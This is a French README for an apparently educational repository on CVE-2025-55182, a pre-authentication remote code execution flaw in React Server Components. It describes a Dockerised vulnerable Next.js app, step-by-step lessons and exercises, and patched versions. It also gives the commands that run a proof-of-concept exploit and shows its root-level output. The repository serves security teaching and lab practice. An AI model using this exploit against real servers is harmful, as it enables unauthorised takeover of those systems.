
Dépôt éducatif pour apprendre CVE-2025-55182 : une RCE avant authentification dans React Server Components. Inclut une documentation étape par étape, des exercices pratiques et un exploit de preuve de concept dans une application Next.js Dockerisée vulnérable.
Un dépôt pour apprendre la vulnérabilité Remote Code Execution (RCE) dans React Server Components.
Utilisez-le uniquement à des fins éducatives. L'utiliser sur les systèmes d'autrui sans autorisation est illégal.
| Champ | Détail |
|---|---|
| ID CVE | CVE-2025-55182 |
| Type | Pre-authentication Remote Code Execution (RCE) |
| CWE | CWE-502 : Désérialisation de données non fiables |
| CVSS | 10,0 (Critique) |
| Impact | React 19.0.0 - 19.2.2 |
.
├── docs/ # 📚 Documents d'apprentissage (Étapes 1 à 4)
├── exercises/ # 🧪 Scripts d'exercices
├── exploit/ # 💀 Scripts PoC
└── vulnerable-app/ # 🎯 Application Next.js vulnérable
cd vulnerable-app
docker compose up --build -d
cd exploit
pip install -r requirements.txt
python3 poc.py http://localhost:3000 "id"
uid=0(root) gid=0(root) groups=0(root)...
🎉 RCE réussi !
Des documents pour comprendre la vulnérabilité étape par étape :
| Étape | Sujet | Fichier |
|---|---|---|
| 1 | Bases du Prototype Pollution | docs/01_prototype_pollution_basics.md |
| 2 | Chaîne de constructeurs et RCE | docs/02_constructor_chain.md |
| 3 | Protocole React Flight | docs/03_react_flight_protocol.md |
| 4 | Vue d'ensemble de la vulnérabilité et correctif | docs/04_vulnerability_summary.md |
# Étape 1 : Expérimenter le Prototype Pollution
node exercises/01_prototype_pollution.js
# Étape 2 : Comprendre la chaîne de constructeurs
node exercises/02_constructor_chain.js
# Étape 3 : Simuler la résolution de références
node exercises/03_reference_resolution.js
# Étape 4 : Analyse complète de la charge utile
node exercises/04_full_exploit_analysis.js
# Mettre à jour React vers la dernière version
npm install react@latest react-dom@latest
Versions corrigées : 19.0.3+, 19.1.4+, 19.2.3+